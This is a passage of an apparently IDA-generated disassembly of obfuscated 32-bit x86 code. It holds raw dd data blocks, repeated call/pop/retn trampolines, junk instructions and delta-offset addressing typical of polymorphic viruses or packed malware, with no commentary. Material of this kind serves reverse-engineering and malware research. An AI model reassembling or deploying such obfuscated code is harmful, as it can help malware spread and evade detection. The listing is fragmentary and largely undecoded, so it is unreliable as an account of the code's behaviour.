		dd 95FF2F09h, 5D11B39h,	81CF9D8Dh, 6A05D4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 9A224FC3h
		dd 388FB541h, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 797F46C3h, 4AF961BFh, 0A5B5234Ah
		dd 0FF05D111h, 0D1271985h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 731960C0h
		dd 0BEB9BA79h, 54A5AE87h, 16CD9D09h, 56E905D1h,	0E8000009h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D4CFDCh
		push	0
		push	ecx
		call	sub_5A6E16
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6E16	proc near		; CODE XREF: ud2_____:005A6E0Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5A6E16	endp

; ---------------------------------------------------------------------------
		inc	edx
		jecxz	short loc_5A6E6D
		xchg	eax, ecx
		push	ds
		mov	byte ptr [esi+eax*4], 4Ah
		mov	edi, 6823A85Ah
		cmp	dword ptr [ebp+5D11905h], 7D0h
		jbe	loc_5A7027
		push	0
		push	ebx
		call	sub_5A6E4F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6E4F	proc near		; CODE XREF: ud2_____:005A6E47p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5A6E4F	endp

; ---------------------------------------------------------------------------
		push	ebp
		or	di, [ebp+5D106B1h]
		sub	[ebp+5D10979h],	esi


loc_5A6E6D:				; CODE XREF: ud2_____:005A6E27j
		movzx	esi, dx
		mov	ebx, [ebp+5D11D6Dh]
		push	0
		push	ebx
		call	sub_5A6E81
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6E81	proc near		; CODE XREF: ud2_____:005A6E79p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5A6E81	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		adc	cl, 75h
		mov	dh, 0Fh
		add	ah, [edi-769F0F75h]
		xchg	eax, ebp
		mov	ch, 23h
		rol	dword ptr ds:0E38161h, 1
		add	[eax], eax
		add	[edx+0], ch
		push	ebx
		call	sub_5A6EB4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6EB4	proc near		; CODE XREF: ud2_____:005A6EACp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5A6EB4	endp

; ---------------------------------------------------------------------------
		movsd
		and	ecx, [edi]
		mov	edi, 0B70F60F2h
		mov	dword ptr [ebx-2ED56243h], 0DB0B6105h
		jnz	loc_5A6FBC
		push	0
		push	edi
		call	sub_5A6EE7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6EE7	proc near		; CODE XREF: ud2_____:005A6EDFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5A6EE7	endp

; ---------------------------------------------------------------------------
		db 60h
		dd 0ACCD3D6Ch, 0FCBE5263h, 5E08B1B7h, 0CDF0BD83h, 0F0005D4h
		dd 6184h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 35FB5A44h, 41BD233Fh, 0E905D11Eh
		dd 10h,	5B094E8Fh, 99E32D10h, 18636C9Eh, 2F9F3896h, 98E9h
		dd 12E800h, 0A0E80000h,	6D4F9F98h, 9B9EAED1h, 6DE361D4h
		dd 9240181Dh, 5EF1B70Fh, 1A99B50Bh, 85C705D1h, 5D4CDF0h
		dd 1, 11E8h, 7D8DAF00h,	19F0E81Dh, 9DBA65E3h, 53C4F3C0h
		dd 81669C8Eh, 5E8A8AC6h, 4CE9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 415A4ADCh
; ---------------------------------------------------------------------------


loc_5A6FBC:				; CODE XREF: ud2_____:005A6ED6j
		mov	dword ptr [ebp+5D4CDF0h], 0
		push	0
		push	edx
		call	sub_5A6FD1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6FD1	proc near		; CODE XREF: ud2_____:005A6FC9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5A6FD1	endp

; ---------------------------------------------------------------------------
		db 4Fh,	0D7h, 0C6h
; ---------------------------------------------------------------------------
		push	ebx
		mov	di, 6494h
		lea	ebx, [ebp+5D11D6Dh]
		jmp	loc_5A6FFB
; ---------------------------------------------------------------------------
		dd 0F3C8B28Dh
		db 4Ch,	0B2h, 0D1h
; ---------------------------------------------------------------------------


loc_5A6FFB:				; CODE XREF: ud2_____:005A6FEFj
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	edi
		call	sub_5A700C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A700C	proc near		; CODE XREF: ud2_____:005A7004p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5A700C	endp

; ---------------------------------------------------------------------------
		leave
		inc	eax
		popf
		push	ds
		mov	edx, 66B59998h
		mov	esi, ebx


loc_5A7027:				; CODE XREF: ud2_____:005A6E3Ej
		mov	bx, ds
		push	0
		push	ecx
		call	sub_5A7035
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7035	proc near		; CODE XREF: ud2_____:005A702Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5A7035	endp

; ---------------------------------------------------------------------------
		db 11h,	92h, 91h
; ---------------------------------------------------------------------------
		fdiv	qword ptr [eax-65h]
		mov	dh, 0F6h
		retn
; ---------------------------------------------------------------------------
		dw 0F04h
		dd 8184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0B48AB10Ch, 3150BF03h, 0D112C195h
		dd 23BE5F05h, 0FF7AB5ECh, 0D1268595h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0F5350AFh, 89h, 4895F00h, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 57AEC827h
		dd 4592BD11h, 33E99726h, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 90B0C350h
		dd 0AAF37EDBh, 8BC7F7F2h, 0D116ADB5h, 6A00B005h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7494C356h, 8AB4330Dh, 0FDE05BB9h, 6A70E6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 82FAC0C3h
		dd 0F18B5072h, 6A71E4h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 37780DC3h, 67BE6677h, 0D8B60F8Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 34C35141h
		dd 1EFCC3DDh, 0F4DD54Bh, 686h, 259D8900h, 0BA05D102h, 6
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 71C35747h
		dd 959EA0BEh, 8B719CB9h, 39B58BC3h, 8905D11Fh, 0D1259585h
		dd 4E8C105h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	1C35646h, 2C0919A6h, 582CB54Ch,	9119D89h, 0BF0F05D1h
		dd 0E2F766F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0EAC35747h, 0A584BE6Dh,	46C9A95Eh, 3D95293Eh, 2B05D11Fh
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 86563701h, 0BF66F304h, 8B0F4B35h, 1, 619D89F5h
		dd 5005D118h, 0F241C89h, 0B5FFF3B7h, 5D11905h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B5C35242h, 9F9C7F83h
		dd 89F28B63h, 0D118C1B5h, 8DB52905h, 0FF05D114h, 0D1245995h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 64683A44h, 48D0F08h, 66000000h, 50C560BEh
		dd 0B1BCF1BEh, 0B05F05h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0A7C35343h, 0A9C47159h, 918D01E7h, 0E605D10Ch
		dd 0FE8B6670h, 3CFC71E4h, 0F3830F61h, 0F000001h, 87h, 0D8B60F00h
		dd 544506BEh, 6BA68h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 7205FEC3h, 0E57E75A9h
		dd 0F8B0F18h, 0E9000000h, 0Ah, 0B3B4FA9Ah, 0F439AC03h
		dd 9E92063h, 0F000000h,	0C8AFF110h, 418B22A6h, 0BF0FC38Bh
		dd 4E8C1F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	5AC35242h, 21EF7132h, 66A08B83h, 0EF0AF781h, 6AE2F766h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8BA3C357h, 0D11781BDh, 81D82B05h,	905502F7h
		dd 0DE816634h, 2B582302h, 2F880FD8h, 33000001h,	0D1029DBDh
		dd 7B905h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 249282C3h, 0E0366DD2h, 5F573D0Eh
		dd 6600C183h, 0D93BF18Bh, 0F0860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F458B0C3h
		dd 0BD8B8370h, 5D13109h, 6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CBAFC357h
		dd 0F3B70F05h, 0F04C1F6h, 9284h, 5E800h, 95F70000h, 0FC54C0A8h
		dd 8595FF5Fh, 6A05D126h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 17CFC350h, 0C32BFC5Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A7C35545h
		dd 0A1907665h, 0FCA75A28h, 0B70F6002h, 258531CBh, 6105D12Bh
		dd 8343Dh, 24860F00h, 8B000000h, 0D11525BDh, 24E905h, 0DE80000h
		dd 0CE000000h, 91BDB643h, 0BF607675h, 90123F88h, 15ED8D31h
		dd 8B5F05D1h, 3DB503C0h, 6605D101h, 0C38BF78Bh,	8B66D88Bh
		dd 0AD85C7F0h, 0B305D119h, 6A7F1481h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 55A6C351h
		dd 0D921A529h, 416E03D5h, 0EE9h, 2952F600h, 0D4087744h
		dd 0CBAD56BCh, 8B79B583h, 6E9C0h, 0C38C0000h, 0A32B775Dh
		dd 45B589h, 0BD8105D1h,	5D11905h, 7D0h,	4C850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B7C31EC3h, 0F38B00A9h, 5FC68166h, 585FF58h,	6A05D119h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FC0C356h, 0B5FFF9B7h, 5D11905h, 245995FFh
		dd 11E805D1h, 28000000h, 9FC8CE1Fh, 5E98A9FFh, 7E623A26h
		dd 9F5F17B4h, 6E8h, 4C7CF200h, 66B34D65h, 5E5FFA8Bh, 0A2F9EF81h
		dd 0F90704Fh, 0C8Ch, 28CE8100h,	8B6ED705h, 0D10229B5h
		dd 0CD850105h, 105D11Fh, 0D112E5B5h, 0DE816605h, 12E83862h
		dd 81000000h, 23F73E9Fh, 2AA7B85Ch, 0D9B8CE4Fh,	673A6DEEh
		dd 7FBE66F4h, 0E781663Eh, 6A5E5209h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 70DFC351h
		dd 7CFFCC44h, 718D89CBh, 2905D11Eh, 0D110E995h,	0DDB53105h
		dd 6A05D116h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0A679C351h, 60C5DAC1h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3DC35141h, 0B58B39D9h
		dd 5D1223Dh, 154DB501h,	0BD2905D1h, 5D115FDh, 17DDBD31h
		dd 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 3343A1C3h, 0F42AB92h, 188Fh, 13E900h, 46BF0000h
		dd 0F13B84C4h, 0CAF96060h, 97601E63h, 37A68788h, 0C18D29E5h
		dd 0E905D11Eh, 0FFFFF6E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 81C35545h, 0C45860B9h, 9CD966A6h, 0C8A0F91h
		dd 8B000000h, 0D100F9BDh, 870F05h, 29000000h, 0D10D018Dh
		dd 6AC18B05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9E34C356h, 0B1885141h,	819B8F2Eh
		dd 0EC3E6FC6h, 5595890Dh, 0EB05D12Dh, 4, 0C5858900h, 5605D108h
		dd 5EF18B66h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	32C35545h, 8C8310Dh, 0BF663F9Fh, 858DE250h, 5D1068Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 49C35343h
		dd 963092F6h, 5090AEE0h, 5830F60h, 0BF000000h, 151F9587h
		dd 6A9061h, 184DB58Bh, 6A05D1h,	0DAD0858Dh, 6A05D4h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 3FAADEC3h, 24B9B589h, 0C08305D1h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0C83AA411h
		dd 562B9CCBh
		dd 895F51D2h, 0D11C0D95h, 66605005h, 61C0C9B8h,	8B240489h
		dd 0D12CC9B5h, 0E9006A05h, 0Eh,	1F36F203h, 2A94970Ch, 848EABBEh
		dd 6AEB75h, 0A027BE66h,	1B3995FFh, 6A05D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0EE44DAC3h
		dd 0C135BD32h, 81CF9D8Dh, 9E805D4h, 6D000000h, 2AD15168h
		dd 0C31BC1C9h, 5EFEB70Fh, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0FA0140C3h, 0F7D471C9h
		dd 0FB8B6669h, 271985FFh, 0B58B05D1h, 5D113FDh,	86AE9h
		dd 0E800h, 815D0000h, 0D4DADAEDh, 41B58B05h, 8905D111h
		dd 0D125E995h, 5BD8105h, 0D005D119h, 0F000007h,	12186h
		dd 8BFB8B00h, 0D111919Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0EEC2E1C3h
		dd 81D6EEA0h, 100E3h, 86BE6600h, 0FDB0BC5h, 9585h, 95895300h
		dd 5D1275Dh, 0C1BD015Eh, 8305D124h, 0D4D961BDh,	840F0005h
		dd 30h,	16F59D89h, 0A3E905D1h, 0B000000h, 0D117E1B5h, 13E805h
		dd 96970000h, 63CB4D0Dh, 0AE7ABDE9h, 7C8214B1h,	726D567Ch
		dd 0B1B58B41h, 5F05D12Dh, 0D96185C7h, 105D4h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0A398D4C3h, 0BCE695FDh, 81602DC8h, 7C397CEAh, 5CF78041h
		dd 40E961h, 7E90000h, 0E9000000h, 0ECADF17Eh, 85C7C62Ah
		dd 5D4D961h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5A7A0B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7A0B	proc near		; CODE XREF: ud2_____:005A7A03p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5A7A0B	endp

; ---------------------------------------------------------------------------
		db 93h
		dd 57B7B163h, 0A3A7EF0h, 0D699509h, 9D8D05D1h, 5D11191h
		dd 0FEFF2381h, 0BE9FFFFh, 0B7000000h, 0D1F2F4C2h, 9BD655C5h
		dd 8C6678ECh, 0C3F6FCDBh, 86840F04h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 9DEC355h, 0C4B1FE4Bh, 0BB2CE69h, 268595FFh, 6A05D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0AD6905C3h, 0E27443D4h, 0DE977h, 0E51D0000h,	2FF8A325h
		dd 7830F498h, 500504C0h, 89F08B66h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 59BEE8C3h
		dd 45BE94Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 98D741C3h, 9D89A14Ch, 5D11205h
		dd 178D8D89h, 0B005D1h,	13E9h, 0B6CE2500h, 0DA8EE952h
		dd 6167CBCh, 287E6E96h,	4961BA91h, 0E870E6FCh, 11h, 0DA63E602h
		dd 0D31AAD7Fh, 0E58885D5h, 0F58D17A2h, 51BD234Bh, 5F05D12Dh
		dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 12E961C3h, 8B000000h, 0E7FD953Ah,	2DC435FEh
		dd 248539CFh, 3BC5B77Fh, 0D8B60F50h, 13E9h, 0A28C0A00h
		dd 53A13DB8h, 34821C95h, 0BBB46248h, 0A45D1E76h, 6BAh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8B5A5CE5h, 4DBD8BC3h, 0BF05D122h, 79C2378Fh
		dd 8B04E8C1h, 0D11DCDBDh, 0E2F76605h, 0F8FEBF66h, 6AD82Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 7ECE7DC3h, 8389B488h, 241C8950h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F0C35545h,	0DE5D28EAh, 0BED68127h
		dd 0FF472CD6h, 0D11905B5h, 3860F05h, 0F000000h,	95FFFFB7h
		dd 5D12459h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	7DC35141h, 48EFA20Dh, 0E7DA3B57h, 0EE816685h, 0B0A34Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DC35343h
		dd 0E7816636h, 9E9A3CFh, 71000000h, 5D557219h, 1E191569h
		dd 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 9A04BFC3h, 71E455D3h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 2CC35141h, 8D89872Dh, 5D10E79h
		dd 8B0Fh, 0F18B0000h, 830F613Ch, 24Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 53C35646h, 0F07BFDC1h, 15B58B12h
		dd 0F05D115h, 6BAD8B6h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 9787C353h
		dd 248B9729h, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 69B573C3h, 0B1B58B7Dh, 8B05D11Ch
		dd 0D10889B5h, 4E8C105h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 33C35040h, 3FDE65BFh,	5860Fh,	81660000h
		dd 66875CD6h, 0B70FE2F7h, 0B7EE81F9h, 2B66E2B2h, 0FE8B66D8h
		dd 0B8E0BF58h, 0EE871DEh, 8E000000h, 9BF4917Ah,	0D1A7853Ah
		dd 6B6D9920h, 7DB529AEh, 5F05D111h, 880FD82Bh, 169h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 44C35545h, 435BD272h
		dd 0B9F2BF0Fh, 7, 6BD08160h, 507785D0h,	0AD39DE81h, 615E1402h
		dd 6A00C183h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 3819C351h, 88F9BE88h, 7C28C3A9h
		dd 25F1BD8Bh, 0D93B05D1h, 0FB860Fh, 0B5290000h,	5D11D15h
		dd 0E9D98C66h, 13h, 0A448696h, 0B255199Ah, 296EDB60h, 0F5931228h
		dd 0F68A2871h, 840F04C1h, 0CDh,	0FE860h, 3CE40000h, 0B3EC8497h
		dd 382373DBh, 79B713E2h, 0B5015B76h, 5D13095h, 8595FF61h
		dd 6A05D126h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 7D7FC356h, 0F0310587h,	9FC81C8h
		dd 0D11F9D8Dh, 0F2B70F05h, 41B58B5Bh, 2B05D11Eh, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 1E559D01h, 8343Dh, 4A860F00h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 95B6C355h
		dd 0BD8B1CE1h, 5D11829h, 24E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 827802C6h
		dd 8BC08BF8h, 8BC38BFAh, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 85C71CD2h, 5D11D6Dh, 761E959Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 65C35545h
		dd 0FB8B6612h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0DD9BADC3h, 8C7BA9D0h, 89BF467Dh
		dd 600769E1h, 11E9h, 70BC2E00h,	1C0242BBh, 9AF8C881h, 0F008036Fh
		dd 8166BAF9h, 619336D7h, 1905BD81h, 7D005D1h, 850F0000h
		dd 34h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah
		dd 9AC35141h, 0E87A7F31h, 0BD8B4C77h, 5D1249Dh,	190585FFh
		dd 0D68105D1h, 39DDC872h, 1905B5FFh, 0C9BF05D1h, 0FF0DDF19h
		dd 0D1245995h, 0E6816605h, 6690CF4Eh, 5263DE81h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9CC35545h, 421558B7h
		dd 60ED3DCCh, 226D9D8Bh, 0BD2905D1h, 5D10311h, 1B2D8D29h
		dd 896105D1h, 0D1126D85h, 5DB58B05h, 6A05D130h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 1A3CC355h, 8BF6BF0Fh, 0D12231B5h, 6AFA8B05h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0CC3DC350h, 1A995766h, 8D293CA7h, 5D11099h, 1B91B589h
		dd 8D8905D1h, 5D127FDh,	13E956h, 303E0000h, 31FDE7C2h
		dd 0EC486ED8h, 7CE7DB37h, 6A85BF93h, 10E89Ch, 30F10000h
		dd 0CF0D58BFh, 92F42299h, 3FA6FF36h, 0BF0FEE60h, 895E5EF2h
		dd 0D1270D8Dh, 59C78105h, 6A449161h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 2D3EC353h
		dd 11E9h, 0D87CFE00h, 3E3613D3h, 6199DC48h, 349FD76Eh
		dd 61BE9337h, 0E954D0EAh, 0FFFFF7B5h, 0C8C0Fh, 0B5890000h
		dd 5D11085h, 10619589h,	896005D1h, 0D1094DB5h, 644ABB05h
		dd 8B6153AAh, 0DE8C1h, 4B7A0000h, 255EC911h, 67E3136Eh
		dd 8BA1F4C7h, 0D10AF9B5h, 0B58B5F05h, 5D11729h,	4EBh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8B4AC3h, 5D1013Dh, 1295B58Bh, 858D05D1h, 5D1068Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9DC35545h
		dd 2EC638F7h, 898D31D6h, 9005D10Fh, 11E9h, 33EB9A00h, 0DB90B05Ah
		dd 0F2AAF37Eh, 0B7C4C7F7h, 0E9501EF0h, 6, 0D83A3B6h, 6A90DAD8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 53BAC353h, 1520FD24h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AFD4E9C3h
		dd 0E59B529h, 6A05D1h, 0E9F0BF0Fh, 0Dh,	0DD515CCAh, 4D85089Eh
		dd 0D72E153h, 21858DF1h, 0BE05D4E5h, 38A5D3F2h,	2B05C083h
		dd 0D10F79BDh, 60605005h, 66FB8B66h, 6144A7BEh,	0A72FBA66h
		dd 24048961h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	79C35040h, 0CA00F8BEh, 665FA454h, 117EE781h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 6AE796C3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 18800D1Bh, 95FFFE8Bh, 5D11B39h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1EC35242h, 4A8624C6h
		dd 451A872Ch, 5890FFEh,	57000000h, 5EF2B70Fh, 81CF9D8Dh
		dd 90BF05D4h, 0FF4393A4h, 85FFFCD3h, 5D12719h, 0A0E18060h
		dd 0A8A8BF66h, 732E961h, 0E80000h, 5D000000h, 0E52BED81h
		dd 6A05D4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 23F6A8C3h, 60CD298Dh, 8166606Ch, 89F2D6EFh
		dd 0D11519BDh, 0BD816105h, 5D11905h, 7D0h, 12A860Fh, 8E0F0000h
		dd 6, 190DBD01h, 9D8B05D1h, 5D10C85h, 2075BD8Bh, 0E38105D1h
		dd 100h, 0E57BBF66h, 850FDB0Bh,	95h, 23C9BD89h,	0BD8305D1h
		dd 5D4E362h, 4B840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F23DC355h
		dd 11C202A0h, 1561BD8Bh, 0B70F05D1h, 88E9F6h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 85C774C3h, 5D4E362h,	1, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 71C35040h, 59BD8B14h,	0E905D10Bh, 3Ah
		dd 0DCEF8166h, 6285C7EEh, 5D4E3h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0CAE2C356h, 0AC7ACBBEh, 8B52E5E6h, 0D114E5B5h, 9D8D5F05h
		dd 5D10C85h, 32B58589h,	238105D1h, 0FFFFFEFFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 67C35545h, 20841BE4h
		dd 0CD578A92h, 6ADB8C66h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 8770C356h, 0FE99Eh
		dd 75190000h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h,	4C3F659h
		dd 35840Fh, 8B660000h, 8595FFFEh, 6A05D126h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 859BC355h, 50901D3Eh, 0FD4BBF66h, 21858990h,	0E905D11Bh
		dd 31Dh, 31E99D89h, 0B005D1h, 0FF8B70Fh, 687h, 559D8900h
		dd 0E605D130h, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 63ACCD3Dh, 0B19D09D8h
		dd 0E905D118h, 6, 34AE87C0h, 0BE985B4h,	0EC000000h, 2D8D5F95h
		dd 0CF6D753Eh, 71E49E79h, 0DE851h, 19AF0000h, 8C4CA90h
		dd 0CBE583FBh, 89312E3Bh, 0D11C25BDh, 0F5E5F05h, 6BAD8B6h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 656AC356h, 81C38B9Bh, 0C6095EE6h
